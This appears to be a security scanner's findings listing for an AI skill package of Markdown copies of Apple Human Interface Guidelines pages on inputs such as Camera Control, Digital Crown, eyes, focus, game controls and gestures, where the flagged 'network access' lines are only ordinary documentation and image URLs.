    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Camera Control | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/camera-control
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/camera-control
  • Network accessline 9
    ![A stylized representation of the Camera Control.](https://docs-assets.developer.apple.com/published/73774a69a0e7738c02ffdaeccfe03830/inputs-camera-control-intro%402x.png)
  • Network accessline 13
    ![A screenshot showing callouts to the Camera Control and overlay on iPhone in landscape orientation.](https://docs-assets.developer.apple.com/published/3d9efd41aaf5eb91e9d51fdf57a26472/camera-control-button-callout%402x.png)
  • Network accessline 17
    ![A partial screenshot of the Camera Control overlay displaying its controls.](https://docs-assets.developer.apple.com/published/59fe90435020556bfc9b5ed3f003b651/camera-control-picker%402x.png)Controls in the overlay
  • Network accessline 19
    ## [Anatomy](https://developer.apple.com/design/human-interface-guidelines/camera-control#Anatomy)
  • Network accessline 30
    ![A partial screenshot of the Camera Control overlay displaying a slider control.](https://docs-assets.developer.apple.com/published/3bb2ecfcd292742f087c064e5dfd1ec5/camera-control-slider-control%402x.png)Slider control
  • Network accessline 32
    ![A partial screenshot of the Camera Control overlay displaying a picker control.](https://docs-assets.developer.apple.com/published/27e6bc8836d9265133dd150098c3865d/camera-control-picker-control%402x.png)Picker control
  • Network accessline 36
    ![A partial screenshot of the Camera Control overlay displaying the system zoom factor control.](https://docs-assets.developer.apple.com/published/3bb2ecfcd292742f087c064e5dfd1ec5/system-control-type-zoom-factor%402x.png)Zoom factor control
  • Network accessline 38
    ![A partial screenshot of the Camera Control overlay displaying the system exposure bias control.](https://docs-assets.developer.apple.com/published/47568cc559bb20a5cea03ded2199916b/system-control-type-exposure-bias%402x.png)Exposure bias c
  • Network accessline 40
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/camera-control#Best-practices)
  • Network accessline 42
    **Use SF Symbols to represent control functionality.** The system doesn’t support custom symbols; instead, pick a symbol from SF Symbols that clearly denotes a control’s behavior. iOS offers thousands of symbols you can use to represent the
  • Network accessline 44
    ![A partial screenshot of the Camera Control overlay displaying a camera flash control that uses the bolt.fill symbol.](https://docs-assets.developer.apple.com/published/29e9dac71ac35e1d3d9510a545fce3c3/camera-control-picker-sf-symbols-flas
  • Network accessline 46
    ![A partial screenshot of the Camera Control overlay displaying a camera filters control that uses the camera.filters symbol.](https://docs-assets.developer.apple.com/published/17466338143a202a0241d26725f23048/camera-control-picker-sf-symbo
  • Network accessline 50
    **Include units or symbols with slider control values to provide context.** Providing descriptive information in the overlay, such as EV, %, or a custom string, helps people understand what the slider controls. For developer guidance, see [
  • Network accessline 52
    ![A partial screenshot showing an example of the Camera Control overlay with a slider control displaying a value and context for the type of value.](https://docs-assets.developer.apple.com/published/00f466e6926811164965fdb40483a34c/system-c
  • Network accessline 54
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)Value with context
  • Network accessline 56
    ![A partial screenshot showing an example of the Camera Control overlay with a slider control displaying a value without information about what the value represents.](https://docs-assets.developer.apple.com/published/b965fe40e836dfce1361f86
  • Network accessline 58
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)Value without context
  • Network accessline 60
    **Define prominent values for a slider control.** Prominent values are ones people choose most frequently, or values that are evenly spaced, like the major increments of zoom factor. When a person slides on the Camera Control to adjust a sl
  • Network accessline 64
    ![Partial screenshots showing the Camera Control overlay with its control's label in the viewport in portrait and landscape orientations on iPhone.](https://docs-assets.developer.apple.com/published/efa0584ce5fa07cd540174b71ef59d6d/camera-c
  • Network accessline 68
    ![A partial screenshot showing an example of the Camera Control overlay with UI elements removed from the capture viewport.](https://docs-assets.developer.apple.com/published/9cd4da3793671dd837c50d855ab265df/camera-control-screen-ui-good-ex
  • Network accessline 70
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)Keep UI minimal.
  • Network accessline 72
    ![A partial screenshot showing an example of the Camera Control overlay with UI elements duplicated in the capture viewport.](https://docs-assets.developer.apple.com/published/eb4a1bc88b0f16c3074d57f8ff3afb9f/camera-control-screen-ui-bad-ex
  • Network accessline 74
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)Avoid showing controls in the viewfinder that people access in the overlay.
  • Network accessline 80
    **Allow people to use the Camera Control to launch your experience from anywhere.** Create a locked camera capture extension that lets people configure the Camera Control to launch your app’s camera experience from their locked device, the 
  • Network accessline 82
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/camera-control#Platform-considerations)
  • Network accessline 86
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/camera-control#Resources)
  • Network accessline 88
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/camera-control#Related)
  • Network accessline 90
    [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols)
  • Network accessline 92
    [Controls](https://developer.apple.com/design/human-interface-guidelines/controls)
  • Network accessline 94
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/camera-control#Developer-documentation)
  • Network accessline 96
    [Enhancing your app experience with the Camera Control](https://developer.apple.com/documentation/AVFoundation/enhancing-your-app-experience-with-the-camera-control) — AVFoundation
  • Network accessline 98
    [`AVCaptureControl`](https://developer.apple.com/documentation/AVFoundation/AVCaptureControl) — AVFoundation
  • Network accessline 100
    [LockedCameraCapture](https://developer.apple.com/documentation/LockedCameraCapture)
  • Network accessline 102
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/camera-control#Change-log)

skills/hig-inputs/references/digital-crown.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Digital Crown | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/digital-crown
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/digital-crown
  • Network accessline 9
    ![A sketch of a curved arrow beside a Digital Crown, that suggests turning the Digital Crown. The image is overlaid with rectangular and circular grid lines and is tinted purple to subtly reflect the purple in the original six-color Apple l
  • Network accessline 13
    ![A close-up photograph of a person's head wearing Apple Vision Pro, with their index finger pointing at the Digital Crown.](https://docs-assets.developer.apple.com/published/b421afd55a6401eeacedaa088b02d909/digital-crown-apple-vision-pro%4
  • Network accessline 15
    ![A close-up photograph of Apple Watch, shown at an angle, with the Digital Crown prominently featured at the center of the image.](https://docs-assets.developer.apple.com/published/b557ec51bcbcaac70485ca87eda59c40/digital-crown-apple-watch
  • Network accessline 17
    ## [Apple Vision Pro](https://developer.apple.com/design/human-interface-guidelines/digital-crown#Apple-Vision-Pro)
  • Network accessline 23
    * Adjust the amount of immersion in a portal, an Environment, or an app or game running in a Full Space (for guidance, see [Immersive experiences](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences))
  • Network accessline 34
    ## [Apple Watch](https://developer.apple.com/design/human-interface-guidelines/digital-crown#Apple-Watch)
  • Network accessline 58
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/digital-crown#Platform-considerations)
  • Network accessline 62
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/digital-crown#Resources)
  • Network accessline 64
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/digital-crown#Related)
  • Network accessline 66
    [Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback)
  • Network accessline 68
    [Action button](https://developer.apple.com/design/human-interface-guidelines/action-button)
  • Network accessline 70
    [Immersive experiences](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences)
  • Network accessline 72
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/digital-crown#Developer-documentation)
  • Network accessline 74
    [`WKCrownDelegate`](https://developer.apple.com/documentation/WatchKit/WKCrownDelegate) — WatchKit
  • Network accessline 76
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/digital-crown#Change-log)

skills/hig-inputs/references/eyes.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Eyes | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/eyes
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/eyes
  • Network accessline 9
    ![A sketch of a human eye. The image is overlaid with rectangular and circular grid lines and is tinted purple to subtly reflect the purple in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/126393ded1c
  • Network accessline 11
    When people look at an interactive element, visionOS highlights it, providing visual feedback that helps them confirm the item is one they want. The visual feedback, or _hover effect_ , shows people that they can use an [indirect gesture](h
  • Network accessline 23
    To help preserve people’s privacy, visionOS doesn’t provide direct information about where people are looking before they tap. When you use system-provided components, visionOS automatically tells you when people tap the component. For deve
  • Network accessline 25
    visionOS also supports _focus effects_ that help people navigate apps and the system using a connected input device like a keyboard or game controller. Focus effects are unrelated to the hover effect; to learn more, see [Focus and selection
  • Network accessline 27
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/eyes#Best-practices)
  • Network accessline 29
    **Always give people multiple ways to interact with your app.** Design your app to support the accessibility features people use to personalize the ways they interact with their devices. For guidance, see [Accessibility](https://developer.a
  • Network accessline 31
    **Design for visual comfort.** Help people accomplish their primary task by making sure that the objects they need to use are within their [field of view](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Field-of
  • Network accessline 37
    ## [Making items easy to see](https://developer.apple.com/design/human-interface-guidelines/eyes#Making-items-easy-to-see)
  • Network accessline 41
    **Make it easy for people to look at an item by providing enough space around it.** Because eyes naturally tend to make small, quick adjustments in direction even while people are looking at one place, crowding UI objects together can make 
  • Network accessline 45
    ## [Encouraging interaction](https://developer.apple.com/design/human-interface-guidelines/eyes#Encouraging-interaction)
  • Network accessline 51
    ![A square button.](https://docs-assets.developer.apple.com/published/d60c5b225c91f041c5ef7e273a9219b6/visionos-eyes-sharp-button-incorrect%402x.png)
  • Network accessline 53
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 55
    ![A circular button.](https://docs-assets.developer.apple.com/published/61afcfc99cebef8a0feae23fc5803edc/visionos-eyes-rounded-button-correct%402x.png)
  • Network accessline 57
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 61
    ## [Custom hover effects](https://developer.apple.com/design/human-interface-guidelines/eyes#Custom-hover-effects)
  • Network accessline 86
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/eyes#Platform-considerations)
  • Network accessline 90
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/eyes#Resources)
  • Network accessline 92
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/eyes#Related)
  • Network accessline 94
    [Immersive experiences](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences)
  • Network accessline 96
    [Gestures](https://developer.apple.com/design/human-interface-guidelines/gestures)
  • Network accessline 98
    [Spatial layout](https://developer.apple.com/design/human-interface-guidelines/spatial-layout)
  • Network accessline 100
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/eyes#Developer-documentation)
  • Network accessline 102
    [Adopting best practices for privacy and user preferences](https://developer.apple.com/documentation/visionOS/adopting-best-practices-for-privacy) — visionOS
  • Network accessline 104
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/eyes#Videos)
  • Network accessline 106
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/CA8CE5A1-B113-403F-BCB7-87871B4BBB52/10053_wide_250x141_1x.jpg) Design hover interactions for visionOS ](https://developer.apple.com/videos/play/
  • Network accessline 108
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/C6CDCC79-CCD0-4D2F-A4D1-8FC70DC663DB/8127_wide_250x141_1x.jpg) Design for spatial input ](https://developer.apple.com/videos/play/wwdc2023/10073)
  • Network accessline 110
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/2C47B638-090D-4CBB-9E9E-EBE8114536D9/8132_wide_250x141_1x.jpg) Design considerations for vision and motion ](https://developer.apple.com/videos/p
  • Network accessline 112
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/eyes#Change-log)

skills/hig-inputs/references/focus-and-selection.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Focus and selection | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/focus-and-selection
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/focus-and-selection
  • Network accessline 9
    ![A sketch of a frame around a circular interface element, suggesting locking focus on an object. The image is overlaid with rectangular and circular grid lines and is tinted purple to subtly reflect the purple in the original six-color App
  • Network accessline 15
    Different platforms communicate focus in different ways. For example, iPadOS and macOS show focus by drawing a ring around an item or highlighting it; tvOS generally uses the [parallax effect](https://developer.apple.com/design/human-interf
  • Network accessline 17
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#Best-practices)
  • Network accessline 25
    **Indicate focus using visual appearances that are consistent with the platform.** For example, consider a window that contains a list of items. In iPadOS and macOS, the system draws focused list items using white text and a background high
  • Network accessline 29
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#Platform-considerations)
  • Network accessline 33
    ### [iPadOS](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#iPadOS)
  • Network accessline 37
    The iPadOS and tvOS focus systems are similar. People perform actions by moving a focus indicator to an item and then selecting it (for guidance, see [tvOS](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#t
  • Network accessline 50
    ![An illustration of a collection view of photos showing the standard halo effect that outlines the focused photo.](https://docs-assets.developer.apple.com/published/2bfe6fedc5a6a8ecf6d7e74e9492a096/focus-and-selection-halo-focus-effect%402
  • Network accessline 52
    **Customize the halo focus effect when necessary.** By default, the system uses an item’s shape to infer the shape of its halo. If the system-provided halo doesn’t give you the appearance you want, you can refine it to match contours like r
  • Network accessline 54
    ![An illustration of a collection view of photos showing a rounded-rectangle halo effect that outlines the focused photo.](https://docs-assets.developer.apple.com/published/1a84f872d0624355e89fa03b357ddd13/focus-and-selection-customized-hal
  • Network accessline 56
    The _highlighted_ appearance — in which the component’s text uses the app’s accent color — also indicates focus, but it’s not a focus effect. The highlight appearance occurs automatically when people select a collection view cell on which y
  • Network accessline 58
    ![An illustration of a list of menu items with the second item highlighted. The item's title and icon are tinted with a red accent color.](https://docs-assets.developer.apple.com/published/01261865c38379fa118f16057a54f23e/focus-and-selectio
  • Network accessline 60
    **Ensure that focus moves through your custom views in ways that make sense.** As people continue pressing the Tab key, focus moves through focus groups in reading order: leading to trailing, and top to bottom. Although focus moves through 
  • Network accessline 62
    **Adjust the priority of an item to reflect its importance within a focus group.** When a group receives focus, its _primary item_ automatically receives focus too, making it easy for people to select the item they’re most likely to want. Y
  • Network accessline 64
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#tvOS)
  • Network accessline 72
    State| Description   ---|---   ![An image of an unfocused button on top of a photograph. A small drop shadow makes it appear very close to the content behind it, with a translucent background infused by the colors of the content, and a high
  • Network accessline 73
    ---|---   ![An image of an unfocused button on top of a photograph. A small drop shadow makes it appear very close to the content behind it, with a translucent background infused by the colors of the content, and a high-contrast text color.
  • Network accessline 74
    ![An image of an unfocused button on top of a photograph. A small drop shadow makes it appear very close to the content behind it, with a translucent background infused by the colors of the content, and a high-contrast text color.](https://
  • Network accessline 75
    ![An image of a focused button on top of a photograph. It’s larger than an unfocused button, and a drop shadow makes it appear farther away from the content behind it, with an opaque white background and a black text label.](https://docs-as
  • Network accessline 76
    ![An image of a highlighted button on top of a photograph. It’s the same size as an unfocused button, and a drop shadow makes it appear a little farther away from the surface of the content behind it, with an opaque white background and a b
  • Network accessline 77
    ![An image of a selected button on top of a photograph. It’s the same size as an unfocused button, and a small drop shadow makes it appear very close to the content behind it, with an opaque white background and a black text label.](https:/
  • Network accessline 78
    ![An image of an unavailable button on top of a photograph. It’s the same size as an unfocused button. It lacks a drop shadow and appears to rest directly on the content behind it, with a translucent background tinted by the the colors of n
  • Network accessline 80
    For developer guidance, see [Adding user-focusable elements to a tvOS app](https://developer.apple.com/documentation/UIKit/adding-user-focusable-elements-to-a-tvos-app).
  • Network accessline 82
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#visionOS)
  • Network accessline 88
    When people look at a virtual object to identify it as the object they want to interact with, the system uses the _hover effect_ , not a focus effect, to provide visual feedback (for guidance, see [Eyes](https://developer.apple.com/design/h
  • Network accessline 90
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#Resources)
  • Network accessline 92
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#Related)
  • Network accessline 94
    [Eyes](https://developer.apple.com/design/human-interface-guidelines/eyes)
  • Network accessline 96
    [Keyboards](https://developer.apple.com/design/human-interface-guidelines/keyboards)
  • Network accessline 98
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#Developer-documentation)
  • Network accessline 100
    [Focus Attributes](https://developer.apple.com/documentation/TVML/focus-attributes) — TVML
  • Network accessline 102
    [Focus-based navigation](https://developer.apple.com/documentation/UIKit/focus-based-navigation) — UIKit
  • Network accessline 104
    [About focus interactions for Apple TV](https://developer.apple.com/documentation/UIKit/about-focus-interactions-for-apple-tv) — UIKit
  • Network accessline 106
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#Videos)
  • Network accessline 108
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/C6CDCC79-CCD0-4D2F-A4D1-8FC70DC663DB/8127_wide_250x141_1x.jpg) Design for spatial input ](https://developer.apple.com/videos/play/wwdc2023/10073)
  • Network accessline 110
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/38E4EE32-29B5-4478-B8B6-35B8ACA67B16/8130_wide_250x141_1x.jpg) Design for spatial user interfaces ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 112
    [![](https://devimages-cdn.apple.com/wwdc-services/images/49/F9A980A7-B00A-4856-9172-FDB610A419E5/3509_wide_250x141_1x.jpg) Design for the iPadOS pointer ](https://developer.apple.com/videos/play/wwdc2020/10640)
  • Network accessline 114
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/focus-and-selection#Change-log)

skills/hig-inputs/references/game-controls.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Game controls | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/game-controls
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/game-controls
  • Network accessline 9
    ![A sketch of a D-pad control from a game controller, suggesting gameplay. The image is overlaid with rectangular and circular grid lines and is tinted purple to subtly reflect the purple in the original six-color Apple logo.](https://docs-
  • Network accessline 22
    ## [Touch controls](https://developer.apple.com/design/human-interface-guidelines/game-controls#Touch-controls)
  • Network accessline 24
    For iOS and iPadOS games, supporting touch interaction means that you can provide virtual controls on top of game content while also letting players interact with game elements by touching them directly. You can use the [Touch Controller](h
  • Network accessline 28
    **Place virtual buttons where they’re easy to access.** Take into account the device’s boundaries and [safe areas](https://developer.apple.com/design/human-interface-guidelines/layout#Guides-and-safe-areas) as well as comfortable locations 
  • Network accessline 30
    ![A graphic that shows ideal placement for touch controls for an iPhone in landscape orientation.](https://docs-assets.developer.apple.com/published/dd0cd40a5b38af26ea97072ecf987b24/game-controls-touch-input-heat-map%402x.png)
  • Network accessline 36
    **Always include visible and tactile press states.** A virtual control feels unresponsive without a visual and physical press state. Help players understand when they successfully interact with a button by adding a visual press state effect
  • Network accessline 38
    ![A right hand holding an iPhone in landscape orientation. The thumb is pressing down on a virtual button, and the button indicates its press state by increasing its opacity and showing a glow effect around it.](https://docs-assets.develope
  • Network accessline 42
    ![A game controller button with a graphic of a square mapping to a virtual button with a graphic of a hand making a gesture to pick up an object.](https://docs-assets.developer.apple.com/published/d5ba7d4086cc786b24b789e29bfd3507/game-contr
  • Network accessline 51
    ![A graphic that shows gameplay with a virtual control to move the character that's more visible while the character is moving.](https://docs-assets.developer.apple.com/published/2c9a0444ff10b37e8e5b54a9036d482e/game-controls-thumbstick-in-
  • Network accessline 55
    ![A graphic that shows gameplay with a virtual control to move the character that's less visible while the character is at rest.](https://docs-assets.developer.apple.com/published/8feb4b819cccdf9a74fa7c3ccd5d6e42/game-controls-thumbstick-at
  • Network accessline 61
    ![A graphic of a virtual button that supports both single tap and touch and hold gestures.](https://docs-assets.developer.apple.com/published/a92df74768951a55f0f4d406eedb6b4a/game-controls-power-up-action%402x.png)
  • Network accessline 65
    ![A graphic that shows placement for movement controls on the left side of the screen, and placement for camera controls on the right side of the screen.](https://docs-assets.developer.apple.com/published/7bc00774e35dd1839091df6f8c16a830/ga
  • Network accessline 67
    ## [Physical controllers](https://developer.apple.com/design/human-interface-guidelines/game-controls#Physical-controllers)
  • Network accessline 69
    **Support the platform’s default interaction method.** A game controller is an optional purchase, but every iPhone and iPad has a touchscreen, every Mac has a keyboard and a trackpad or mouse, every Apple TV has a remote, and every Apple Vi
  • Network accessline 71
    **Tell people about game controller requirements.** In tvOS and visionOS, you can require the use of a physical game controller. The App Store displays a “Game Controller Required” badge to help people identify such apps. Remember that peop
  • Network accessline 73
    **Automatically detect whether a controller is paired.** Instead of having players manually set up a physical game controller, you can automatically detect whether a controller is paired and get its profile. For developer documentation, see
  • Network accessline 75
    ![An illustration of a game controller with callouts that indicate the locations of the controller’s triggers, shoulder buttons, directional pad, and thumbsticks.](https://docs-assets.developer.apple.com/published/40b70c72921efd92b91da04535
  • Network accessline 77
    **Customize onscreen content to match the connected game controller.** To simplify your game’s code, the Game Controller framework assigns standard names to controller elements based on their placement, but the colors and symbols on an actu
  • Network accessline 98
    **Prefer using symbols, not text, to refer to game controller elements.** The Game Controller framework makes [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) available for most elements, including the 
  • Network accessline 100
    ![A screenshot of the SF Symbols app showing symbols in the Gaming category.](https://docs-assets.developer.apple.com/published/c76627e659aa17ab46a638437cc5d33c/game-controls-sf-symbols-gaming-category%402x.png)
  • Network accessline 102
    ## [Keyboards](https://developer.apple.com/design/human-interface-guidelines/game-controls#Keyboards)
  • Network accessline 114
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/game-controls#Platform-considerations)
  • Network accessline 118
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/game-controls#visionOS)
  • Network accessline 120
    **Match spatial game controller behavior to hand input.** In addition to supporting a wide array of wireless game controllers, your visionOS game can also support spatial game controllers such as PlayStation VR2 Sense controller. Allow play
  • Network accessline 122
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/game-controls#Resources)
  • Network accessline 124
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/game-controls#Related)
  • Network accessline 126
    [Designing for games](https://developer.apple.com/design/human-interface-guidelines/designing-for-games)
  • Network accessline 128
    [Gestures](https://developer.apple.com/design/human-interface-guidelines/gestures)
  • Network accessline 130
    [Keyboards](https://developer.apple.com/design/human-interface-guidelines/keyboards)
  • Network accessline 132
    [Playing haptics](https://developer.apple.com/design/human-interface-guidelines/playing-haptics)
  • Network accessline 134
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/game-controls#Developer-documentation)
  • Network accessline 136
    [Create games for Apple platforms](https://developer.apple.com/games/)
  • Network accessline 138
    [Touch Controller](https://developer.apple.com/documentation/TouchController)
  • Network accessline 140
    [Game Controller](https://developer.apple.com/documentation/GameController)
  • Network accessline 142
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/game-controls#Videos)
  • Network accessline 144
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/2DB746B8-E0B0-4ED1-B250-902DB7A0F3E7/9196_wide_250x141_1x.jpg) Design advanced games for Apple platforms ](https://developer.apple.com/videos/pla
  • Network accessline 146
    [![](https://devimages-cdn.apple.com/wwdc-services/images/119/AD3141F9-6984-4328-9388-551C8677F6A2/4973_wide_250x141_1x.jpg) Tap into virtual and physical game controllers ](https://developer.apple.com/videos/play/wwdc2021/10081)
  • Network accessline 148
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/51863C09-0E96-4230-91A3-B85E950FBF3D/9205_wide_250x141_1x.jpg) Explore game input in visionOS ](https://developer.apple.com/videos/play/wwdc2024/
  • Network accessline 150
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/game-controls#Change-log)

skills/hig-inputs/references/gestures.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Gestures | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/gestures
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/gestures
  • Network accessline 9
    ![A sketch of a pointing hand swiping in a curved motion toward the right, suggesting touch interaction with a device. The image is overlaid with rectangular and circular grid lines and is tinted purple to subtly reflect the purple in the o
  • Network accessline 13
    Every platform supports basic gestures like tap, swipe, and drag. Although the precise movements that make up basic gestures can vary per platform and input device, people are familiar with the underlying functionality of these gestures and
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/gestures#Best-practices)
  • Network accessline 17
    **Give people more than one way to interact with your app.** People commonly prefer or need to use other inputs — such as their voice, keyboard, or Switch Control — to interact with their devices. Don’t assume that people can use a specific
  • Network accessline 25
    ## [Custom gestures](https://developer.apple.com/design/human-interface-guidelines/gestures#Custom-gestures)
  • Network accessline 46
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/gestures#Platform-considerations)
  • Network accessline 48
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/gestures#iOS-iPadOS)
  • Network accessline 50
    In addition to the [standard gestures](https://developer.apple.com/design/human-interface-guidelines/gestures#Standard-gestures) supported in all platforms, iOS and iPadOS support a few other gestures that people expect.
  • Network accessline 59
    **Consider allowing simultaneous recognition of multiple gestures if it enhances the experience.** Although simultaneous gestures are unlikely to be useful in nongame apps, a game might include multiple onscreen controls — such as a joystic
  • Network accessline 61
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/gestures#macOS)
  • Network accessline 63
    People primarily interact with macOS using a [keyboard](https://developer.apple.com/design/human-interface-guidelines/keyboards) and mouse. In addition, they can make [standard gestures](https://developer.apple.com/design/human-interface-gu
  • Network accessline 65
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/gestures#tvOS)
  • Network accessline 67
    People expect to use [standard gestures](https://developer.apple.com/design/human-interface-guidelines/gestures#Standard-gestures) to navigate tvOS apps and games with a compatible remote, Siri Remote, or [game controller](https://developer
  • Network accessline 69
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/gestures#visionOS)
  • Network accessline 89
    Here are the standard direct gestures people use in visionOS; see [Specifications](https://developer.apple.com/design/human-interface-guidelines/gestures#Specifications) for a list of standard indirect gestures.
  • Network accessline 107
    #### [Designing custom gestures in visionOS](https://developer.apple.com/design/human-interface-guidelines/gestures#Designing-custom-gestures-in-visionOS)
  • Network accessline 109
    If you want to offer a specific interaction for your experience that people can’t perform using an existing system gesture, consider designing a custom gesture. To offer this type of interaction, your app needs to be running in a Full Space
  • Network accessline 111
    ![A screenshot of a person's hands performing a custom gesture, placing the two hands together to form a heart, while playing a visionOS game.](https://docs-assets.developer.apple.com/published/363ecbc8eeb441809f62ae935e13fbdc/visionos-cust
  • Network accessline 119
    #### [Working with system overlays in visionOS](https://developer.apple.com/design/human-interface-guidelines/gestures#Working-with-system-overlays-in-visionOS)
  • Network accessline 131
    ![An illustration of a person's open hand with the palm facing upward. A dashed circular line above the hand indicates the area reserved for system overlays.](https://docs-assets.developer.apple.com/published/de8c04a523a3e225c723c5c09c458e1
  • Network accessline 133
    ![An illustration of a person's open hand with the palm facing upward. A button with a circle icon representing the Home indicator appears above the palm.](https://docs-assets.developer.apple.com/published/961d33f07da24b20848f3502d2cea134/v
  • Network accessline 135
    ![An illustration of a person's open hand with the palm facing downward. An overlay with the status bar appears above the hand.](https://docs-assets.developer.apple.com/published/f1d5a8816f65f35853ccd513355272d8/visionos-spatial-gesture-con
  • Network accessline 137
    **Consider deferring the system overlay behavior when designing an immersive app or game.** In certain circumstances, you may not want the Home indicator to appear when someone looks at the palm of their hand. For example, a game that uses 
  • Network accessline 139
    ![An image of a person's open hand with the palm facing upward, shown from the person's perspective. A button with a circle icon representing the Home indicator appears above the palm. The image background shows the room that's the person's
  • Network accessline 141
    ![An image of a person's open hand with the palm facing upward, shown from the person's perspective. A button with a circle icon representing the Home indicator appears above the palm. The image background shows a forest in a fully immersiv
  • Network accessline 143
    ![An image of a person's open hand wearing a bulky space suit glove, shown from the person's perspective. The palm faces upward, and no button appears above it. The image background shows a starry sky in a fully immersive space.](https://do
  • Network accessline 151
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/gestures#watchOS)
  • Network accessline 153
    #### [Double tap](https://developer.apple.com/design/human-interface-guidelines/gestures#Double-tap)
  • Network accessline 155
    In watchOS 11 and later, people can use the double-tap gesture to scroll through lists and scroll views, and to advance between vertical tab views. Additionally, you can specify a toggle or button as the primary action in your app, or in yo
  • Network accessline 159
